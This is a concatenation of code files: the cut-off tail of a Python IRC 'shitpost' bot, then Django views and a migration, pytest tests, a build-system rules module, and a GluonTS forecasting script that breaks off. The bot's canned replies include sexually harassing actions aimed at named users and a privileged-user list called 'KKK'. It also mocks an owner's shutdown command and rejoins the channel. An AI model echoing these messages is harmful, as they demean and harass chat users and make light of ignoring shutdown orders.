/var/cache/pacman/pkg/*.pkg.tar.xz\\\" again.\",\n \"manjaro\":\"great if you want to live in the past I guess..\",\n \"antergos\":\"Babby's first arch install\",\n \"suse\":\"\\x01ACTION starts humming uptown funk\\x01\",\n \"ubuntu\":\"babby's first distro\",\n \"mint\":\"when it breaks that means you're ready to upgrade\",\n \"debian\":\"Do you smell that? It smells like old, rotting packages...\",\n \"void\":\"NOBODY EXPECTS THE SPANISH XBPSITION\",\n \"slackware\":\"This command is unsupported as I can't find its dependencies anywhere\",\n \"netbsd\":\"medfly pls go\",\n \"enlightenment\":\"Oh, you mean that old, buggy window manager that tries to be a DE?\",\n \"opensuse\":\"The chameleon is a great mascot. It does a bunch of fancy shit but it's FUCKING USELESS.\",\n \"kali\":\"Look mommy I'm a hacker!\",\n \"blackarch\":\"Look daddy I'm a hacker!\",\n \"steamos\":\"Let's pretend that this ubuntu fork is any different from all the others in its ability to become a gaming platform!\",\n \"redstar\":\"The only good distro (please don't kill me oh great leader)\",\n \"centos\":\"OpenREDHAT\",\n \"kubuntu\":\"Just use .ubuntu instead. If you want me to review the goddamn DEs try them instead\",\n \"xubuntu\":\"Just use .ubuntu instead. If you want me to review the goddamn DEs try them instead\",\n \"lubuntu\":\"Just use .ubuntu instead. If you want me to review the goddamn DEs try them instead\",\n \"puppy\":\"woof!\",\n \"lfs\":\"Entry-level distros need no mentions.\",\n \"plasma\":\"It's fuckin KDE\",\n \"kde\":\"Windows Lite™\",\n \"gnome\":\"MacOS Lite™\",\n \"pantheon\":\"Basically a reskin of Gnome 3\",\n \"xfce\":\"Great if you like playing with legos I guess....\",\n \"mate\":\"NO I WON'T LET GO!!!!!!\",\n \"lxde\":\"I have more ram than I'll ever need PLUS swap but I still want to call this OpenBox setup with a panel my daily DE\",\n \"lxqt\":\"LXDE on a less shitty library\",\n \"i3\":\"Look ma no hands!\",\n \"bspwm\":\"Oh what was that? I was trying to figure out my config files...\",\n \"openbox\":\">Using a floating window manager outside of a DE\",\n \"cde\":\"The only good DE\",\n \"twm\":\"The only good wm\",\n \"dwm\":\"Changing the config is a great way to learn C!\",\n \"cwm\":\"Just don't right click\",\n \"aqua\":\"See \\\".apple\\\"\",\n \"unity\":\"Turning people away from Linux since 2010!\",\n \"cinnamon\":\"If Gnome 3 was like gnome fans expected before losing their hard on.\",\n \"gnu/hurd\":\"WE'LL FINISH IT I SWEAR! -RMS, Prime Minister of the world, 2038\",\n \"hurd\":\"WE'LL FINISH IT I SWEAR! -RMS, Prime Minister of the world, 2038\", \n \"emacs\":\"The best operating system ever made if it weren't for its lack of a decent text editor\",\n \"bsd\":\"the only good kernel until linux killed it\",\n \"linux\":[\"It just looks like a shitty minix clone. GNU Hurd is better\",\"Fucking garbage, but the least shitty kernel there is.\"],\n\n \"openbsd\":\"With the same amount of up to date software as it had remote holes!\",\n \"freebsd\":\"Now with a compatibility layer to compete with a 10 year old 32 bit linux kernel!\",\n \"windows\":\"The only good linux distribution\",\n \"templeos\":\"The only rational OS to use when you're going insane.\",\n \"reactos\":\"Wine: The OS\",\n \"torvalds\":\"https://youtu.be/IVpOyKCNZYw?t=1m45s\",\n \"rms\":\"https://rms.sexy/\",\n \"thinkpad\":\"A big, black hunk of plastic that makes you look like a freak and should be seen as a lethal weapon\",\n \"weaselgit\":\"https://github.com/pavestnavi/weaselbot\",\n }\n if len(msgpart) >= 1:\n if multargs == True:\n argcommands = {\n \"do\":[\"\\x01ACTION fucks \" + argprt + \" with his feminine penis\\x01\",\"\\x01ACTION fucks \" + argprt + \" with her feminine penis\\x01\"],\n \"trump\":\"\\x01ACTION builds a wall between \"+ TEMPUSR + \" and \" + argprt + \" and has \" + argprt + \" pay for it.\\x01\",\n \"lennart\":\"\\x01ACTION writes a horrible windows-grade piece of code and shoves it deep deep down \" + argprt + \"'s throat until it reaches their ass and fucks them with it\\x01\",\n \"gulag\":\"\\x01ACTION throws \" + argprt + \" in a dark hole in Siberia where he'll mine for the rest of his short, meaningless life for the crime of being anti-revolutionary\\x01\",\n \"tease\":\"\\x01ACTION dances and twists around sensually for \" + argprt + \"\\x01\"\n }\n\n #commands that wouldn't fit in the dictionary\n weaseldescript = \"The whole point of this bot is to shitpost as much as possible without being considered spammy or annoying. It is also there to help you shitpost more efficiently. Do dank memes and if they're dank enough and I don't respond to them, complain to weabot and if you're aggressive enough on his butthole I'll respond next time.\"\n askjoin = \"weaselbot: Please join this channel: \"\n gonzo = \"Hi, Friend!\"\n weaplus = \"weaselbot++\"\n wifox = \"stop that weaselbot\"\n wifox2 = \"take a nap weaselbot\"\n wifox3 = \"i am your master\"\n phase1 = \"WEASELBOT\"\n phase2 = \"serve me\"\n ubuu = [\"i should install ubuntu\", \"should i install ubuntu\", \"i should install mint\", \"should i install mint\"]\n message = \"\"\n deathword = makeDeath()\n print(deathword)\n cmd = \"PRIVMSG \" + cchannel + \" :.\"\n\n #Good old bullshit input/output\n for key in bullshit.keys():\n if key in item.lower():\n if isinstance(bullshit[key],str):\n sleep(1)\n sendMessage(cchannel,bullshit[key])\n else:\n sleep(1)\n x = randint(0,len(bullshit[key]) - 1)\n sendMessage(cchannel,bullshit[key][x])\n\n #good old commands\n if len(msgpart) >= 1:\n if multargs == False:\n for command in commands.keys():\n if msgpart.split()[0].lower() == \".\" + command and cmd.lower() + command in item.lower():\n if isinstance(commands[command],str):\n sendMessage(cchannel,commands[command])\n else:\n x = randint(0,len(commands[command]) - 1)\n sendMessage(cchannel,commands[command][x])\n else:\n for command in argcommands.keys():\n if msgpart.split()[0].lower() == \".\" + command and cmd.lower() + command in item.lower():\n if isinstance(argcommands[command],str):\n sendMessage(cchannel,argcommands[command])\n else:\n x = randint(0,len(argcommands[command]) - 1)\n sendMessage(cchannel,argcommands[command][x])\n\n\n #misc/special snowflakes\n if TEMPUSR == \"gonzobot\" and gonzo in item:\n sleep(1)\n sendMessage(cchannel,gonzo)\n if len(msgpart) == len(weaplus) and weaplus in item.lower():\n sendMessage(cchannel,\"%s++\" % TEMPUSR)\n if ubuu[0] in item.lower() or ubuu[1] in item.lower() or ubuu[2] in item.lower() or ubuu[3] in item.lower():\n sleep(1)\n if cchannel == \"#linuxmasterrace\":\n sendMessage(cchannel,\"No, you shouldn't.\")\n else:\n sendMessage(cchannel,\"You should definitely install Linux.\")\n if TEMPUSR == \"Winter_Fox\" and wifox in item.lower():\n sendMessage(cchannel,\"YES SIR. I'M SORRY, SIR.\")\n if TEMPUSR == \"Winter_Fox\" and wifox2 in item.lower():\n sendMessage(cchannel,\"RIGHT AWAY, SIR!\")\n sleep(1800)\n if TEMPUSR == \"Winter_Fox\" and wifox3 in item.lower():\n sendMessage(cchannel,\"YES, SIR! AND A KIND ONE, SIR!\")\n if \"PRIVMSG \" + cchannel + \" :!weasel\" in item:\n sendMessage(cchannel,weaseldescript)\n if TEMPUSR == \"Phase\" and phase1 in item:\n sendMessage(cchannel,\"YOU CALLED ME, MASTER? I AM HERE TO SERVE.\")\n if TEMPUSR == \"Phase\" and phase2 in item.lower():\n sendMessage(cchannel,\"\\x01ACTION blushes\\x01\\r\\n\")\n sendMessage(cchannel,\"But... Senpai... Here? In front of everybody?\\r\\n\")\n if TEMPUSR in KKK and \"weaselbot: Shutdown Now!\" in item:\n s.send(str.encode(\"PART \" + cchannel + \"\\r\\n\"))\n sleep(10)\n s.send(str.encode(\"JOIN \" + cchannel + \"\\r\\n\"))\n sleep(3)\n sendMessage(cchannel,\"I'm sorry, Dave. I'm afraid I can't do that.\")\n if TEMPUSR in KKK and \"weaselbot: Please leave this channel\" in item:\n weaselbot.channelslst.remove(cchannel)\n s.send(str.encode(\"PART \" + cchannel + \"\\r\\n\"))\n if TEMPUSR in KKK and len(msgpart.split()) == len(askjoin.split())+1 and askjoin in item:\n TEMPCHANNEL = msgpart.split()[5]\n weaselbot.channelslst.append(TEMPCHANNEL)\n s.send(str.encode(\"JOIN \" + TEMPCHANNEL + \"\\r\\n\"))\n if TEMPUSR in KKK and cmd.lower() + \"say\" in item.lower():\n saywhat = msgpart.split()[1:]\n sendMessage(cchannel,' '.join(saywhat))\n if TEMPUSR in KKK and \"weaselbot: Please say in \" in item:\n whatchannel = msgpart.split()[4]\n saywhat2 = msgpart.split()[5:]\n sendMessage(whatchannel,' '.join(saywhat2))\n if TEMPUSR in KKK and cmd + \"addKKK\" in item:\n KKKrecruit = msgpart.split()[1]\n if KKKrecruit == \"weaselbot\":\n sendMessage(cchannel,\"Adding me to the KKK is too dangerous for our Universe and the life within it.\")\n else:\n KKK.append(KKKrecruit)\n sendMessage(cchannel,\"Added \" + KKKrecruit + \" to the Kool Kid's Klub!\")\n if TEMPUSR == \"weabot\" and cmd + \"delKKK\" in item:\n KKKdel = msgpart.split()[1]\n if KKKdel in KKK:\n KKK.remove(KKKdel)\n sendMessage(cchannel,\"Removed naughty boy \" + KKKdel + \" from the Kool Kid's Klub!\")\n else:\n sendMessage(cchannel,KKKdel + \" is not in the Kool Kid's Klub.\")\n \n\n\n if deathword in item.lower() and cchannel == \"#linuxmasterrace\":\n sendMessage(cchannel,\"You.. Killed....... Me..............\")\n sleep(2)\n sendMessage(cchannel,deathword + \" was my.... only... weakness.......\")\n sleep(5)\n for i in deathsounds:\n stime = randint(1,6)\n sendMessage(cchannel,i)\n sleep(stime)\n sendMessage(cchannel,\"[final breath] gaaaaaahhh........\")\n killYourself()\n\nweaselbot = IRCBOT(\"weaselbot\", \"weaselbot\", \"*********\", \"irc.snoonet.org\", 6697, \"Weasel Bot Peterson Junior 5th of the name\", \"#linuxmasterrace #weaselbot #android #nofear\")#linuxmasterrace #nofear #weaselbot #android\")\n\nweaselbot.makeChannelsList()\nweaselbot.connect()\ntimes = 0\nwhile times != 5:\n\tsleep(3)\n\tline = s.recv(2048).decode(\"utf-8\",\"replace\")\n\tline = line.rstrip()\n\tline = line.split(\"\\n\")\n\tweaselbot.pong()\n\tweaselbot.identify()\n\tweaselbot.join_channels()\n\ttimes += 1\n\n\nprint(\"greeting..\")\n#weaselbot.greet()\nprint(\"done greeting, heading on to main loop\")\nwhile 1:\n weaselbot.pong()\n weaselbot.identify()\n weaselbot.join_channels()\n line = s.recv(2048).decode(\"utf-8\",\"replace\")\n line = line.rstrip()\n line = line.split(\"\\n\")\n dothething()\n","sub_path":"weaselbot.py","file_name":"weaselbot.py","file_ext":"py","file_size_in_byte":26417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"426287363","text":"from django import forms\nfrom django.http.response import JsonResponse\nfrom django.shortcuts import render\nfrom django.views.generic import DetailView\nfrom django.views.generic.list import ListView\n\nfrom . import models\nfrom django.views.generic.base import View\n\nimport taggit.models\n\n\nclass SnippetForm(forms.ModelForm):\n class Meta:\n model = models.Snippet\n fields = (\n 'start_time',\n 'end_time',\n 'title',\n 'description',\n 'tags',\n )\n\n def clean(self):\n cleaned_data = super().clean()\n if cleaned_data.get(\"start_time\") >= cleaned_data.get(\"end_time\"):\n raise forms.ValidationError(\n \"start time must be smaller than end time\")\n\n\nclass AssetDetailView(DetailView):\n model = models.Asset\n\n def get_title(self):\n return self.object\n\n def empty_form(self):\n return SnippetForm()\n\n def post(self, request, *args, **kwargs):\n form = SnippetForm(data=request.POST)\n if not form.is_valid():\n return JsonResponse(\n {'result': \"bad data\", 'errors': form.errors.as_json()},\n status=400)\n form.instance.asset = self.get_object()\n form.save()\n return render(request, \"video/_snippet.html\", {\n 'snippet': form.instance,\n })\n\n\nclass AssetListView(ListView):\n model = models.Asset\n paginate_by = 60\n ordering = \"?\"\n\n\nclass AssetSearchView(ListView):\n model = models.Asset\n paginate_by = 60\n ordering = \"full_name\"\n\n def get_queryset(self):\n qs = super().get_queryset()\n self.q = self.request.GET.get('q')\n if self.q:\n qs = qs.filter(full_name__icontains=self.q)\n return qs\n\n\nclass SeriesListView(ListView):\n model = models.Series\n paginate_by = 36\n queryset = models.Series.objects.order_by(\"name\")\n\n\nclass SeriesDetailView(DetailView):\n model = models.Series\n\n\nclass SeasonDetailView(DetailView):\n model = models.Season\n\n\nclass GenreListView(ListView):\n model = models.Genre\n ordering = \"name\"\n\n\nclass GenreDetailView(DetailView):\n model = models.Genre\n\n\nclass TagListView(ListView):\n model = taggit.models.Tag\n\n\nclass TagDetailView(DetailView):\n model = taggit.models.Tag\n\n\nclass TagListAjaxView(View):\n def get(self, request, *args, **kwargs):\n qs = taggit.models.Tag.objects.order_by('name')\n return JsonResponse([{'id': tag.name, 'text': tag.name} for tag in qs],\n safe=False)\n","sub_path":"video/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"217217586","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classinf', '0003_userprofile_information'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='userprofile',\n name='information',\n field=models.CharField(max_length=128, verbose_name=b'\\xe5\\xa4\\x87\\xe6\\xb3\\xa8', blank=True),\n ),\n ]\n","sub_path":"classmate/classinf/migrations/0004_auto_20140902_0855.py","file_name":"0004_auto_20140902_0855.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"467403512","text":"import os\nfrom pathlib import Path\nimport numpy as np\nimport pytest\n\nfrom pharynx_redox import image_processing as ip, pharynx_io as pio, data_analysis as da\n\ntest_data_path = Path(os.path.join(os.path.dirname(__file__), \"test_data\"))\n\nuntrimmed_profile_data_path = test_data_path.joinpath(\n \"2017_02_22-HD233_SAY47-untrimmed_profile_data-new.nc\"\n)\nuntrimmed_profile_data = pio.load_profile_data(untrimmed_profile_data_path)\n\n\ndef test_moving_idx_one_region_moving_correct():\n mv, st = da.get_moving_idx(untrimmed_profile_data, \"posterior\")\n\n assert mv[1] == 1\n assert st[1] == 0\n\n assert mv[10] == 0\n assert st[10] == 0\n\n\ndef test_moving_idx_one_region_stationary_correct():\n mv, st = da.get_moving_idx(untrimmed_profile_data, \"posterior\")\n\n assert mv[0] == 0\n assert st[0] == 1\n\n\ndef test_moving_idx_one_region_neither_correct():\n mv, st = da.get_moving_idx(untrimmed_profile_data, \"posterior\")\n\n assert mv[10] == 0\n assert st[10] == 0\n\n\ndef test_moving_idx_one_region_correct_length():\n mv, st = da.get_moving_idx(untrimmed_profile_data, \"posterior\")\n\n assert len(mv) == untrimmed_profile_data.animal.size\n assert len(st) == untrimmed_profile_data.animal.size\n\n\ndef test_moving_idx_multiple_regions_stationary_correct():\n regions = [\"posterior\", \"anterior\"]\n mv, st = da.get_moving_idx(untrimmed_profile_data, regions)\n\n assert mv[0] == 0\n assert st[0] == 1\n\n\ndef test_moving_idx_multiple_regions_neither_correct():\n # \"Unacceptable\" in the anterior\n regions = \"anterior\"\n mv, st = da.get_moving_idx(untrimmed_profile_data, regions)\n\n assert mv[5] == 0\n assert st[5] == 0\n\n # Stationary in the posterior\n regions = \"posterior\"\n mv, st = da.get_moving_idx(untrimmed_profile_data, regions)\n\n assert mv[5] == 0\n assert st[5] == 1\n\n # \"Unacceptable\" when considering both regions\n regions = [\"anterior\", \"posterior\"]\n mv, st = da.get_moving_idx(untrimmed_profile_data, regions)\n\n assert mv[5] == 0\n assert st[5] == 0\n\n\ndef test_resample_moving_correct_percent_moving():\n percent_moving = 0.5\n resampled = da.resample_moving(\n untrimmed_profile_data, percent_moving, 3000, \"posterior\"\n )\n\n mv, st = da.get_moving_idx(resampled, \"posterior\")\n\n np.testing.assert_almost_equal(\n (np.sum(mv) / len(resampled)), percent_moving, decimal=1\n )\n\n\ndef test_resample_moving_correct_percent_moving():\n percent_moving = 1.0\n resampled = da.resample_moving(\n untrimmed_profile_data, percent_moving, 3000, \"posterior\"\n )\n\n mv, st = da.get_moving_idx(resampled, \"posterior\")\n\n np.testing.assert_almost_equal(\n (np.sum(mv) / len(resampled)), percent_moving, decimal=1\n )\n","sub_path":"tests/test_data_analysis.py","file_name":"test_data_analysis.py","file_ext":"py","file_size_in_byte":2718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"434869455","text":"# \n# fubuild -- functional build system -- Public Domain or Apache 2.0\n# Patrick Crawley\n# \n# \n# This sofware is dual licensed, you may choose either\n# of the two licenses below when using this software.\n# \n# License 1 -- Public Domain\n# \n# This software is in the public domain. Where that dedication is not\n# recognized, you are granted a perpetual, irrevokable license to copy\n# and modify this file as you see fit.\n# \n# License 2 -- Apache 2.0\n# \n# Copyright [2012-2014] [Patrick Crawley]\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# \n\n################################################################################\n################################################################################\n\nfrom .common import *\nfrom .printing import *\nfrom . import environment\nfrom . import compile\nimport mimetypes\nimport inspect\nimport os\nimport time\n\n################################################################################\n################################################################################\n\nRules = {}\n\ndef ClearRules():\n\tglobal Rules\n\tRules = {}\n\ndef Rule(target, rule, *listArgs):\n\tassert target\n\tassert -1 != target.find('/'), 'first argument must be a mimetype'\n\tglobal Rules\n\tenvCopy = environment.GetEnvironmentCopy()\n\tif target in Rules:\n\t\tPrintWarning('overriding rule \"%s (%s)\" with \"%s, %s, %s\"' % (target, Rules[target], rule, listArgs, envCopy))\n\t\traise wtf\n\tRules[target] = (target, rule, listArgs, envCopy)\n\tPrintDebug('Rule %s %s %s %s' % (target, rule, listArgs, envCopy))\n\n################################################################################\n################################################################################\n\ndef ExecuteRule(mime_type, parentEnv, listArgs=[]):\n\tglobal Rules\n\n\t(target, rule, args, envCopy) = Rules.get(mime_type, (None, None, (None, None), None))\n\n\trecurseOnArgs = True\n\tif not rule:\n\t\t(target, rule, args, envCopy) = Rules.get(mimetypes.guess_type(mime_type)[0], (None, None, (None, None), None))\n\t\tlistArgs = [mime_type]\n\t\trecurseOnArgs = False\n\n\tif parentEnv:\n\t\tenv = parentEnv.GetCopy()\n\telse:\n\t\tenv = environment.ENVIRONMENT()\n\tif envCopy:\n\t\tenv.ApplyCopy(envCopy)\n\n\tif recurseOnArgs:\n\t\tlistArgs = [ExecuteRule(x, parentEnv) for x in MakeIterable(listArgs)]\n\n\tassert rule, 'no rule \"%s\"' % mime_type\n\n\tPrintDebug('ExecuteRule %s : (%s, %s, %s, %s) %s' % (mime_type, target, rule, args, envCopy, listArgs))\n\n\tif inspect.isfunction(rule):\n\t\told = environment.SetEnvironment(env)\n\t\tresult = rule(target, *listArgs)\n\t\tenvironment.SetEnvironment(old)\n\t\treturn result\n\telif isinstance(rule, str):\n\t\treturn ExecuteRule(rule, env, *args)\n\telif isinstance(rule, list):\n\t\treturn [ExecuteRule(r, env, *args) for r in rule]\n\telse:\n\t\traise NameError('ExecuteRule: unsupported rule type \"%s\" for rule \"%s\"' % (type(rule), rule))\n\n################################################################################\n################################################################################\n\ndef DeltatimeGetPrettyString(timeInSeconds):\n\tif timeInSeconds > 60*60:\n\t\th = int(timeInSeconds/(60*60))\n\t\tm = int((timeInSeconds-(h*60*60))/60)\n\t\ts = timeInSeconds-(m*60)\n\t\treturn '%dh %dm %.3fs' % (h, m, s)\n\telif timeInSeconds > 60:\n\t\tm = int(timeInSeconds/60)\n\t\ts = timeInSeconds-(m*60)\n\t\treturn '%dm %.3fs' % (m, s)\n\telse:\n\t\treturn '%.3fs' % timeInSeconds\n\ndef GenerateTarget(name, env):\n\tstartTime = time.time()\n\tdoneState = 'done'\n\ttry:\n\t\ttargetName = name.replace('target/', '')\n\t\ttargetName += '-' + env.GetVariable('ConfigName')\n\t\tenv.SetVariable('TargetName', targetName)\n\n\t\t#execute all rules to build target\n\t\tPrintDebug('Executing Target \"%s\"' % name)\n\t\ttarget = ExecuteRule(name, env)\n\n\t\t#hmm, dont really like this here, expecially the +.exe part\n\t\t#update 2: what a mess, have to fix this crap. doesnt work for dlls! or any non exe target!\n\t\t# also it overrides any environment setting crap!\n\t\tenvironment.SetEnvironment(env)\n\t\tif name.endswith('dll'):\n\t\t\tcompile.DeployTo(targetName + env.GetVariable('TargetDllExtension'), target)\n\t\t\tcompile.DeployTo(targetName + env.GetVariable('TargetLibExtension'), target[:-4] + env.GetVariable('TargetLibExtension'))\n\t\telse:\n\t\t\tcompile.DeployTo(targetName + env.GetVariable('TargetExeExtension'), target)\n\t\tenvironment.SetEnvironment(None)\n\n\t\tenv.SetVariable('TargetName', None)\n\n\texcept ExitOnErrorException:\n\t\tdoneState = 'failed'\n\texcept KeyboardInterrupt:\n\t\tdoneState = 'canceled'\n\n\tendTime = time.time()\n\tdeltaTime = endTime-startTime\n\tif doneState == 'failed':\n\t\tColorPrint_SetOutputColor(COLOR_FOREGROUND_RED|COLOR_FOREGROUND_INTENSITY)\n\telif doneState == 'canceled':\n\t\tColorPrint_SetOutputColor(COLOR_FOREGROUND_GREEN|COLOR_FOREGROUND_RED)\n\telse:\n\t\tColorPrint_SetOutputColor(COLOR_FOREGROUND_GREEN|COLOR_FOREGROUND_INTENSITY)\n\n\tif deltaTime < 3:\n\t\tprint('[%s %s]' % (name, doneState))\n\telse:\n\t\tprint('[%s %s] (took %s)' % (name, doneState, DeltatimeGetPrettyString(deltaTime)))\n\tColorPrint_SetOutputColor()\n\ndef PrintAllTargets():\n\tfor rule in Rules.keys():\n\t\tif rule.startswith('target/'):\n\t\t\tname = rule.replace('target/', '')\n\t\t\tif name.lower() == 'deploy':\n\t\t\t\tcontinue\n\t\t\tPrintInfo(rule)\n\n################################################################################\n################################################################################\n\ndef ImportRules(path, buildConfig={}, arguments={}, extensions=['fub']):\n\tattrs = {\n\t\t'Rule' : Rule,\n\t\t'Glob' : Glob,\n\t\t'SetEnvironmentVariable' : environment.SetEnvironmentVariable,\n\t\t'GetEnvironmentVariable' : environment.GetEnvironmentVariable,\n\t\t'AppendEnvironmentVariable' : environment.AppendEnvironmentVariable,\n\t\t'IsHostWindows' : IsHostWindows,\n\t\t'IsHostMacOsx' : IsHostMacOsx,\n\t\t'IsHostLinux' : IsHostLinux,\n\t}\n\tfor key, value in arguments.items():\n\t\tassert key not in attrs\n\t\tattrs[key] = value\n\n\toldEnv = environment.SetEnvironment(None)\n\n\tfor scriptfile in RecursiveGlob(extensions, path):\n\t\tPrintDebug('ImportRules \"%s\"' % scriptfile)\n\n\t\tenvironment.SetEnvironment(environment.ENVIRONMENT())\n\n\t\tdef InjectHelperFunctions():\n\t\t\tdef PathFunc(*args):\n\t\t\t\treturn os.path.dirname(os.path.abspath(scriptfile)) + os.sep + os.sep.join(args)\n\t\t\tattrs['Path'] = PathFunc\n\n\t\t\tattrs['GetBuildConfig'] = GenerateBuildConfigFunc(buildConfig)\n\n\t\t\tdef CleanIncludePathsFunc(*args):\n\t\t\t\tenvironment.SetEnvironmentVariable('Compile_IncludePaths', [])\n\t\t\tattrs['CleanIncludePaths'] = CleanIncludePathsFunc\n\n\t\t\tdef IncludePathsFunc(*args):\n\t\t\t\targs = list(args)\n\t\t\t\targs.reverse()\n\t\t\t\tfor a in args:\n\t\t\t\t\tenvironment.AppendEnvironmentVariable('Compile_IncludePaths', PathFunc(a))\n\t\t\tattrs['IncludePaths'] = IncludePathsFunc\n\n\t\t\tdef DefinesFuncion(*args):\n\t\t\t\tfor a in args:\n\t\t\t\t\tenvironment.AppendEnvironmentVariable('Compile_Defines', a)\n\t\t\tattrs['Defines'] = DefinesFuncion\n\n\t\t\tdef AnyGlobRule(target, paths, extensions, excludes, depth):\n\t\t\t\tfiles = []\n\t\t\t\tfor path in paths:\n\t\t\t\t\tgr = list(Glob(extensions, PathFunc(path), maxDepth=depth))\n\t\t\t\t\tfiles += gr\n\t\t\t\tfor e in excludes:\n\t\t\t\t\tfiles = [x for x in files if -1 == x.find(e)]\n\t\t\t\tfiles = [x.replace('/','\\\\') for x in files]\n\t\t\t\tRule(target, list(set(files)))\n\n\t\t\tdef GlobRule(target, paths, *extensions):\n\t\t\t\tAnyGlobRule(target, paths, extensions, [], depth=0)\n\t\t\tattrs['GlobRule'] = GlobRule\n\n\t\t\tdef GlobCppRule(target, *paths):\n\t\t\t\tGlobRule(target, paths, 'c', 'cc', 'cpp')\n\t\t\tattrs['GlobCppRule'] = GlobCppRule\n\n\t\t\tdef GlobCppRuleWithExcludes(target, excludes, *paths):\n\t\t\t\tAnyGlobRule(target, paths, ['c', 'cc', 'cpp'], excludes, depth=0)\n\t\t\tattrs['GlobCppRuleWithExcludes'] = GlobCppRuleWithExcludes\n\n\t\t\tdef RecursiveGlobRule(target, paths, *extensions):\n\t\t\t\tAnyGlobRule(target, paths, extensions, [], depth=32)\n\t\t\tattrs['RecursiveGlobRule'] = RecursiveGlobRule\n\n\t\t\tdef RecursiveGlobCppRule(target, *paths):\n\t\t\t\tRecursiveGlobRule(target, paths, 'c', 'cc', 'cpp')\n\t\t\tattrs['RecursiveGlobCppRule'] = RecursiveGlobCppRule\n\n\t\t\tdef RecursiveGlobCppRuleWithExcludes(target, excludes, *paths):\n\t\t\t\tAnyGlobRule(target, paths, ['c', 'cc', 'cpp'], excludes, depth=32)\n\t\t\tattrs['RecursiveGlobCppRuleWithExcludes'] = RecursiveGlobCppRuleWithExcludes\n\n\t\t\tdef GlobIspcRule(target, *paths):\n\t\t\t\tGlobRule(target, paths, 'ispc')\n\t\t\tattrs['GlobIspcRule'] = GlobIspcRule\n\n\t\t\tdef RecursiveGlobIspcRule(target, *paths):\n\t\t\t\tRecursiveGlobRule(target, paths, 'ispc')\n\t\t\tattrs['RecursiveGlobIspcRule'] = RecursiveGlobIspcRule\n\n\t\tInjectHelperFunctions()\n\n\t\ttry:\n\t\t\texec(open(scriptfile, 'r').read(), attrs, locals())\n\t\texcept Exception as e:\n\t\t\tprint()\n\t\t\tprint('syntax error in', scriptfile)\n\t\t\tprint()\n\t\t\tprint(e)\n\t\t\traise\n\n\tenvironment.SetEnvironment(oldEnv)\n\n################################################################################\n################################################################################\n\n","sub_path":"bin/fubuild/rules.py","file_name":"rules.py","file_ext":"py","file_size_in_byte":9408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"223381576","text":"from gluonts.distribution import GaussianOutput, LaplaceOutput, PiecewiseLinearOutput, UniformOutput, \\\n StudentTOutput\nfrom gluonts.model.simple_feedforward import SimpleFeedForwardEstimator\nfrom gluonts.model import deepar, canonical, deep_factor, deepstate, gp_forecaster, \\\n npts, prophet, r_forecast, seasonal_naive, seq2seq, \\\n transformer\nfrom gluonts.trainer import Trainer\nfrom gluonts.evaluation.backtest import make_evaluation_predictions\nfrom gluonts.evaluation import Evaluator\nfrom gluonts.model.predictor import Predictor\nimport matplotlib.pyplot as plt\nimport mxnet as mx\nfrom path import Path\nfrom gluonts.block.encoder import Seq2SeqEncoder\nfrom mxnet import nd, gpu, gluon, autograd\nfrom custom_models.CustomSimpleFeedForwardEstimator import CustomSimpleFeedForwardEstimator\n\n\ndef forecast_dataset(dataset, epochs=100, learning_rate=1e-3, num_samples=100,\n model=\"SimpleFeedForward\", r_method=\"ets\", alpha=0, distrib=\"Gaussian\"):\n if distrib == \"Gaussian\":\n distr_output = GaussianOutput()\n elif distrib == \"Laplace\":\n distr_output = LaplaceOutput()\n elif distrib == \"PiecewiseLinear\":\n distr_output = PiecewiseLinearOutput(num_pieces=2)\n elif distrib == \"Uniform\":\n distr_output = UniformOutput()\n elif distrib == \"Student\":\n distr_output = StudentTOutput()\n else:\n distr_output = None\n\n if model != \"GaussianProcess\":\n ctx = mx.Context(\"gpu\")\n else:\n ctx = mx.Context(\"cpu\")\n\n # Trainer\n trainer = Trainer(epochs=epochs,\n learning_rate=learning_rate,\n num_batches_per_epoch=100,\n ctx=ctx,\n hybridize=True if model[0] != \"c\" else False\n )\n\n # Estimator (if machine learning model)\n if model == \"SimpleFeedForward\": # 10s / epochs for context 60*24\n estimator = SimpleFeedForwardEstimator(\n num_hidden_dimensions=[10],\n prediction_length=dataset.prediction_length,\n context_length=dataset.context_length,\n freq=dataset.freq,\n trainer=trainer,\n distr_output=distr_output\n )\n elif model == \"cSimpleFeedForward\": # 10s / epochs for context 60*24\n estimator = CustomSimpleFeedForwardEstimator(\n prediction_length=dataset.prediction_length,\n context_length=dataset.context_length,\n freq=dataset.freq,\n trainer=trainer,\n num_cells=40,\n alpha=alpha,\n distr_output=distr_output,\n distr_output_type=distrib\n )\n elif model == \"CanonicalRNN\": # 80s /epochs for context 60*24, idem for 60*1\n estimator = canonical.CanonicalRNNEstimator(\n freq=dataset.freq,\n context_length=dataset.context_length,\n prediction_length=dataset.prediction_length,\n trainer=trainer,\n distr_output=distr_output,\n )\n elif model == \"DeepAr\":\n estimator = deepar.DeepAREstimator(\n freq=dataset.freq,\n context_length=dataset.context_length,\n prediction_length=dataset.prediction_length,\n trainer=trainer,\n distr_output=distr_output,\n )\n elif model == \"DeepFactor\": # 120 s/epochs if one big time serie, 1.5s if 183 time series\n estimator = deep_factor.DeepFactorEstimator(\n freq=dataset.freq,\n context_length=dataset.context_length,\n prediction_length=dataset.prediction_length,\n trainer=trainer,\n distr_output=distr_output,\n )\n elif model == \"DeepState\": # Very slow on cpu\n estimator = deepstate.DeepStateEstimator(\n freq=dataset.freq,\n prediction_length=dataset.prediction_length,\n trainer=trainer,\n 